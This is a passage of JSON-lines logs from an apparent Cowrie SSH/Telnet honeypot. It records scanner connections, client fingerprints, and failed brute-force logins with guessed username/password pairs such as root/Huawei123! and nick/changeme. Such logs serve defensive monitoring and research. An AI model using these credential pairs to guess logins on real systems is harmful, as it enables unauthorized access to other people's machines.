ha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:34.662226Z","src_ip":"170.80.65.140","session":"2e63f105e41c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"srv","password":"srv123","message":"login attempt [srv/srv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:35.188998Z","src_ip":"170.80.65.140","session":"2e63f105e41c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:35.701698Z","src_ip":"91.92.40.13","session":"876ba803e4ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:36.326632Z","src_ip":"170.80.65.140","session":"2e63f105e41c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.73473000526428,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:43.933501Z","src_ip":"172.81.62.90","session":"f895f3dee7a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":41370,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa7a622f2941","protocol":"ssh","message":"New connection: 182.93.50.90:41370 (10.17.0.5:22) [session: aa7a622f2941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:49.432633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:49.436588Z","src_ip":"182.93.50.90","session":"aa7a622f2941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:49.654827Z","src_ip":"182.93.50.90","session":"aa7a622f2941","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jy","password":"123","message":"login attempt [jy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:50.565030Z","src_ip":"182.93.50.90","session":"aa7a622f2941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:51.787203Z","src_ip":"182.93.50.90","session":"aa7a622f2941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54848,"dst_ip":"159.203.135.109","dst_port":23,"session":"57e7bb21f8c2","protocol":"telnet","message":"New connection: 128.199.8.54:54848 (159.203.135.109:23) [session: 57e7bb21f8c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:14.324272Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":47854,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2f79b0eb87e","protocol":"ssh","message":"New connection: 43.153.12.68:47854 (10.17.0.5:22) [session: d2f79b0eb87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:35.142611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:35.152121Z","src_ip":"43.153.12.68","session":"d2f79b0eb87e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:35.215741Z","src_ip":"43.153.12.68","session":"d2f79b0eb87e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nick","password":"changeme","message":"login attempt [nick/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:35.478203Z","src_ip":"43.153.12.68","session":"d2f79b0eb87e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:36.553886Z","src_ip":"43.153.12.68","session":"d2f79b0eb87e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":60320,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c10597a902a","protocol":"ssh","message":"New connection: 103.216.145.2:60320 (10.17.0.5:22) [session: 1c10597a902a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:54.283498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:54.287609Z","src_ip":"103.216.145.2","session":"1c10597a902a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:54.482720Z","src_ip":"103.216.145.2","session":"1c10597a902a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root2025!@","message":"login attempt [root/Root2025!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:55.298444Z","src_ip":"103.216.145.2","session":"1c10597a902a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:56.496317Z","src_ip":"103.216.145.2","session":"1c10597a902a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":34964,"dst_ip":"10.17.0.5","dst_port":22,"session":"618ef03a13dc","protocol":"ssh","message":"New connection: 38.148.249.2:34964 (10.17.0.5:22) [session: 618ef03a13dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:56.922830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:56.927169Z","src_ip":"38.148.249.2","session":"618ef03a13dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:56.996689Z","src_ip":"38.148.249.2","session":"618ef03a13dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nick","password":"changeme","message":"login attempt [nick/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:57.319512Z","src_ip":"38.148.249.2","session":"618ef03a13dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:12:58.392740Z","src_ip":"38.148.249.2","session":"618ef03a13dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":64460,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5783e6aa5de","protocol":"ssh","message":"New connection: 194.59.206.2:64460 (10.17.0.5:22) [session: b5783e6aa5de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:13:20.449282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:13:20.453434Z","src_ip":"194.59.206.2","session":"b5783e6aa5de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:13:20.542595Z","src_ip":"194.59.206.2","session":"b5783e6aa5de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:13:20.639049Z","src_ip":"194.59.206.2","session":"b5783e6aa5de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.25168681144714,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:13:53.575796Z","src_ip":"128.199.8.54","session":"57e7bb21f8c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":46927,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad6ed1e07004","protocol":"ssh","message":"New connection: 216.155.93.75:46927 (159.203.135.109:22) [session: ad6ed1e07004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:13:57.587512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:13:57.591624Z","src_ip":"216.155.93.75","session":"ad6ed1e07004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:13:57.740419Z","src_ip":"216.155.93.75","session":"ad6ed1e07004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123!","message":"login attempt [root/Huawei123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:13:58.367178Z","src_ip":"216.155.93.75","session":"ad6ed1e07004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:13:59.518360Z","src_ip":"216.155.93.75","session":"ad6ed1e07004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":44480,"dst_ip":"10.17.0.5","dst_port":22,"session":"f59cd2bdda33","protocol":"ssh","message":"New connection: 170.80.65.140:44480 (10.17.0.5:22) [session: f59cd2bdda33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:00.821475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:00.827788Z","src_ip":"170.80.65.140","session":"f59cd2bdda33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:00.951094Z","src_ip":"170.80.65.140","session":"f59cd2bdda33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dl","password":"123456","message":"login attempt [dl/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:01.478178Z","src_ip":"170.80.65.140","session":"f59cd2bdda33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:02.606772Z","src_ip":"170.80.65.140","session":"f59cd2bdda33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":60868,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9659e4cc127","protocol":"ssh","message":"New connection: 85.198.19.241:60868 (159.203.135.109:22) [session: c9659e4cc127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:05.093571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:05.995286Z","src_ip":"85.198.19.241","session":"c9659e4cc127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:05.998133Z","src_ip":"85.198.19.241","session":"c9659e4cc127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456789a","message":"login attempt [postgres/123456789a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:07.169944Z","src_ip":"85.198.19.241","session":"c9659e4cc127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":49934,"dst_ip":"10.17.0.5","dst_port":22,"session":"99a09a4e487c","protocol":"ssh","message":"New connection: 91.92.40.13:49934 (10.17.0.5:22) [session: 99a09a4e487c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:11.119264Z"}
